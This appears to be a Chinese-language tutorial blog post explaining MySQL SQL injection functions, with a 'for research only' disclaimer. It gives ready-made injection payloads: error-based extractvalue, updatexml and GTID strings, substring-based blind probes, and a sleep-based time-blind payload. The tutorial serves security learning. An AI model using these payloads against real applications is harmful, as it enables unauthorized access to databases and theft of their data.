★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、MySQL数据库构成
初始化安装MySQL数据库后(基于MySQL版本5.7.x),默认会创建4个系统数据库:- # 默认自带4个系统数据库<br>information_schema<br>mysql<br>performance_schema<br>sys<br><br># 查库/表/字段名 <br>information_schema<br>|__schemata # 所有数据库的名字<br> |__schema_name # 数据库名<br>|__tables # 所有表的名字<br> |__table_schema # 表所属数据库的名称<br> |__table_name # 表的名字<br>|__columns # 所有字段的名字<br> |__table_schema # 字段所属数据库的名字<br> |__table_name # 字段所属表的名字<br> |__column_name # 字段的名字
复制代码 2、SQL注入常用函数使用说明
以下内容基于MySQL数据库。
2.1、系统函数
- system_user() # 系统用户名<br>user() # 用户名 <br>current_user() # 当前用户名<br>session_user() # 连接数据库的用户名<br>database() # 数据库名<br>version() # 数据库版本<br>load_file() # 转成16进制或10进制MySQL读取本地文件的函数<br>@@datadir # 读取数据库路径<br>@@basedir # 安装路径<br>@@version_compile_os # 数据库安装所在的操作系统
复制代码 2.2、报错函数
2.2.1、extractvalue()
extractvalue(xml_frag, xpath_expr)接收两个字符串参数,xml_frag表示XML标记片段,xpath_expr表示XPath表达式,也称为定位器,返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用XPath路径法(示例:/a/b)表示的查找路径。如果XPath格式语法错误就会报错。SQL注入就是利用这个特性。- # 正常查询不报错<br>select extractvalue('<a></a>','/a/b');<br><br># XPath格式语法错<br>select extractvalue('<a></a>','~');<br><br># 报错信息<br>> 1105 - XPATH syntax error: '~'
复制代码 SQL注入可以使用使用~的ascii码值0x7e拼接报错获取到想到的数据- 字符型: 'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1<br>数字型: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
复制代码 2.2.2、updatexml()
updatexml(xml_doc, XPath_str, new_value) 参数一是String格式,XML文档对象名称,参数二:XPath格式语法(示例:/a/b),参数三是String格式,替换查找到的符合条件的数据。- 字符型: 'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1<br>数字型: and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=1
复制代码 2.2.3、GTID
GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的。GTID_SUBSET(set1, set2 ) 在set1中的GTID也在set2中,否则返回false(set1是set2的子集),GTID_SUBTRACT(set1, set2)返回在set1中,不在set2中的GTID集合(set1和set2的差集)。- # 查询报错<br>select GTID_SUBSET(user(),1);<br>select GTID_SUBTRACT(user(),1);<br><br># 报错信息<br>> Malformed GTID set specification 'root@localhost'.
复制代码 SQL注入拼接- '-GTID_SUBSET(user(),1)-'<br># 或<br>'-GTID_SUBTRACT(user(),1)-'
复制代码 2.3、截取函数
2.3.1、left
left(Str, index) ,参数一:待截取的字符串,参数二:从左边开始共截取多少位,举例:数据库名:security,- left(database(),1) ='s' # 结果:1-true, 0-false<br>left(database(),2) ='se' # 结果:1-true, 0-false
复制代码 SQL注入时可以配合Burp Suite,快速爆破数据库名。
2.3.2、mid
mid(Str, start [, length]),参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。- mid(database(),1,1) ='s' # 结果:1-true, 0-false
复制代码 功能同left。
2.3.3、substr
substr()和substring()函数功能一样,都为截取字符串。substr(Str, start [, length])和substring(Str, start [, length]) 两个函数,参数一样。参数一:必须,待截取的字符串,参数二:必须,起始值(从1开始),参数三:可选,要截取的长度,没传值则是参数的长度。举例:数据库名:security,- substr(database(),1,1) ='s' # 结果:1-true, 0-false<br>substring(database(),1,1) ='s' # 结果:1-true, 0-false
复制代码 2.4、判断函数
2.4.1、if
if(a, b, c)当a 为真时执行b; a为假时执行c。常用在时间盲注 and+if(1=1, sleep(1), sleep(5))--+
2.4.2、case when
case when 条件 then 正确的结果 else 错误的结果 end
2.5、其他函数
2.5.1、ascii
ascii(str)返回字符串的ascii码,在SQL注入中经常结合substr()函数一起使用,举例:数据库名:security,- select ascii(substr(database(),1,1));<br><br># 查询结果是 115, s的ascii码是115
复制代码 ASCII码转换和对照查询表:https://www.ghostgroup.cn/ascii/ascii.html
2.5.2、length
length(str)返回字符串的字节长度,举例:数据库名:security,- select length(database());<br># 查询结果是 8
复制代码 2.5.3、hex
hex(str)返回字符串的十六进制,在URL不可以出现@等特殊字符时可以该函数进行转换,再通过在线网站转换回来- select hex(user());<br><br># 查询结果值<br>726F6F74406C6F63616C686F7374
复制代码 到在线工具类网站:https://www.tomeko.net/online_tools/hex_to_ascii.php?lang=en 转换得到结果

3、敬请关注我的公众号敬请关注我的公众号:大象只为你,跟我学网安知识系列文章持续更新中......
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |